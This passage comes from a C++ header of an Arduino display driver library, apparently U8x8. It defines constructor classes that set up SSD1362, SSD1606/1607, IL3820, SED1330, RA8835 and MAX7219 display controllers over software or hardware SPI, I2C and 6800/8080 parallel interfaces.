u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1362_256X64_6800 : public U8X8 {\n  public: U8X8_SSD1362_256X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1362_256X64_8080 : public U8X8 {\n  public: U8X8_SSD1362_256X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1362_256X64_SW_I2C : public U8X8 {\n  public: U8X8_SSD1362_256X64_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1362_256X64_HW_I2C : public U8X8 {\n  public: U8X8_SSD1362_256X64_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1362_256X64_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1362_256X64_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1362_206X36_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1362_206X36_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1362_206X36_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1362_206X36_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1362_206X36_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1362_206X36_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1362_206X36_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1362_206X36_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1362_206X36_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1362_206X36_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1362_206X36_6800 : public U8X8 {\n  public: U8X8_SSD1362_206X36_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1362_206X36_8080 : public U8X8 {\n  public: U8X8_SSD1362_206X36_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1362_206X36_SW_I2C : public U8X8 {\n  public: U8X8_SSD1362_206X36_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1362_206X36_HW_I2C : public U8X8 {\n  public: U8X8_SSD1362_206X36_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1362_206X36_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1362_206X36_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1606_172X72_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1606_172X72_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1606_172x72, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1606_172X72_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1606_172X72_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1606_172x72, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1606_172X72_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1606_172X72_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1606_172x72, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1606_172X72_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1606_172X72_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1606_172x72, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1606_172X72_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1606_172X72_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1606_172x72, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1607_200X200_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1607_200X200_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1607_200x200, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1607_200X200_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1607_200X200_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1607_200x200, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1607_200X200_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1607_200X200_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1607_200x200, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1607_200X200_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1607_200X200_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1607_200x200, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1607_200X200_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1607_200X200_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1607_200x200, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1607_GD_200X200_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1607_GD_200X200_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1607_gd_200x200, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1607_GD_200X200_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1607_GD_200X200_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1607_gd_200x200, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1607_GD_200X200_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1607_GD_200X200_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1607_gd_200x200, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1607_GD_200X200_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1607_GD_200X200_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1607_gd_200x200, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1607_GD_200X200_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1607_GD_200X200_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1607_gd_200x200, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1607_WS_200X200_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1607_WS_200X200_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1607_ws_200x200, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1607_WS_200X200_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1607_WS_200X200_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1607_ws_200x200, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1607_WS_200X200_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1607_WS_200X200_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1607_ws_200x200, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1607_WS_200X200_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1607_WS_200X200_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1607_ws_200x200, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1607_WS_200X200_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1607_WS_200X200_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1607_ws_200x200, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_IL3820_296X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_IL3820_296X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_il3820_296x128, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_IL3820_296X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_IL3820_296X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_il3820_296x128, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_IL3820_296X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_IL3820_296X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_il3820_296x128, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_IL3820_296X128_3W_SW_SPI : public U8X8 {\n  public: U8X8_IL3820_296X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_il3820_296x128, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_IL3820_296X128_3W_HW_SPI : public U8X8 {\n  public: U8X8_IL3820_296X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_il3820_296x128, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_IL3820_V2_296X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_IL3820_V2_296X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_il3820_v2_296x128, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_IL3820_V2_296X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_IL3820_V2_296X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_il3820_v2_296x128, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_IL3820_V2_296X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_IL3820_V2_296X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_il3820_v2_296x128, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_IL3820_V2_296X128_3W_SW_SPI : public U8X8 {\n  public: U8X8_IL3820_V2_296X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_il3820_v2_296x128, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_IL3820_V2_296X128_3W_HW_SPI : public U8X8 {\n  public: U8X8_IL3820_V2_296X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_il3820_v2_296x128, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SED1330_240X128_6800 : public U8X8 {\n  public: U8X8_SED1330_240X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sed1330_240x128, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SED1330_240X128_8080 : public U8X8 {\n  public: U8X8_SED1330_240X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sed1330_240x128, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SED1330_256X128_6800 : public U8X8 {\n  public: U8X8_SED1330_256X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sed1330_256x128, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SED1330_256X128_8080 : public U8X8 {\n  public: U8X8_SED1330_256X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sed1330_256x128, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_RA8835_NHD_240X128_6800 : public U8X8 {\n  public: U8X8_RA8835_NHD_240X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ra8835_nhd_240x128, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_RA8835_NHD_240X128_8080 : public U8X8 {\n  public: U8X8_RA8835_NHD_240X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ra8835_nhd_240x128, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_RA8835_320X240_6800 : public U8X8 {\n  public: U8X8_RA8835_320X240_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ra8835_320x240, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_RA8835_320X240_8080 : public U8X8 {\n  public: U8X8_RA8835_320X240_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ra8835_320x240, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SED1330_320X200_6800 : public U8X8 {\n  public: U8X8_SED1330_320X200_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sed1330_320x200, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SED1330_320X200_8080 : public U8X8 {\n  public: U8X8_SED1330_320X200_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sed1330_320x200, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_MAX7219_64X8_4W_SW_SPI : public U8X8 {\n  public: U8X8_MAX7219_64X8_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_max7219_64x8, u8x8_cad_empty, 